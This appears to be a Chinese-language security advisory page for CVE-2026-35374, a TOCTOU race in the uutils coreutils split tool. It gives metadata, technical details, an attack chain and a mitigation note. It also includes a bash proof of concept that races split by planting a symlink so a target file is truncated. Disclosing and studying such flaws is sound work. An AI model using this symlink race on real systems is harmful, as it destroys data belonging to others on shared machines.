IPBUF安全漏洞报告
English
CVE-2026-35374 CVSS 6.3 中危

CVE-2026-35374: uutils coreutils split工具TOCTOU漏洞

披露日期: 2026-04-22

漏洞信息

漏洞编号
CVE-2026-35374
漏洞类型
竞态条件
CVSS评分
6.3 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
uutils coreutils

相关标签

TOCTOURace Conditionuutils coreutilsSymbolic LinkData Loss

漏洞概述

uutils coreutils的split工具存在TOCTOU竞态条件漏洞。程序在检查输入输出文件路径身份后,使用截断方式打开输出文件。本地攻击者可利用此时间窗口,通过符号链接攻击,导致split工具截断并写入非预期目标文件(如输入文件本身),造成永久性数据丢失。

技术细节

该漏洞属于典型的TOCTOU(Time-of-Check to Time-of-Use)竞态条件漏洞。split工具在设计时为了防止数据丢失,会在执行分割操作前检查输入文件和输出文件的路径是否相同。然而,验证通过后,程序在打开输出文件进行写入时使用了截断模式。这两步操作之间存在时间差。如果本地攻击者对目录拥有写权限,可以在检查完成但文件尚未打开的瞬间,将输出文件替换为指向敏感文件(如输入文件本身)的符号链接。这将导致程序打开并清空敏感文件,造成高完整性和高可用性影响。

攻击链分析

STEP 1
Reconnaissance
攻击者确认目标系统使用了存在漏洞的uutils coreutils版本,并且对当前工作目录拥有写权限。
STEP 2
Preparation
攻击者创建一个输入文件用于触发split操作,并确定一个想要破坏的目标文件(如配置文件或输入文件本身)。
STEP 3
Execution
攻击者执行split命令,并利用脚本在程序检查路径和打开文件之间的极短时间窗口内,将预期的输出文件路径替换为指向目标文件的符号链接。
STEP 4
Impact
split程序以截断模式打开符号链接指向的目标文件,导致原文件内容被清空或覆盖,造成数据永久丢失。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # PoC for CVE-2026-35374 # Exploiting TOCTOU in uutils coreutils split INPUT_FILE="data.txt" OUTPUT_PREFIX="output" TARGET_FILE="important_config.conf" # Setup environment echo "Sensitive Data" > $TARGET_FILE dd if=/dev/urandom of=$INPUT_FILE bs=1M count=10 # Start split in background split -b 1M $INPUT_FILE $OUTPUT_PREFIX & SPLIT_PID=$! # Race condition: Attempt to swap output with symlink to target while kill -0 $SPLIT_PID 2>/dev/null; do # Check if the first output file is about to be created or created if [ ! -L "${OUTPUT_PREFIX}aa" ] && [ ! -e "${OUTPUT_PREFIX}aa" ]; then # Try to create symlink before split opens the file ln -sf $TARGET_FILE "${OUTPUT_PREFIX}aa" 2>/dev/null fi done wait $SPLIT_PID echo "Check if $TARGET_FILE was truncated..." ls -l $TARGET_FILE

影响范围

uutils coreutils (修复前版本)

防御指南

临时缓解措施
在厂商发布修复版本前,建议避免在不可信用户拥有写权限的目录下运行split命令,或严格限制split工具的文件操作权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表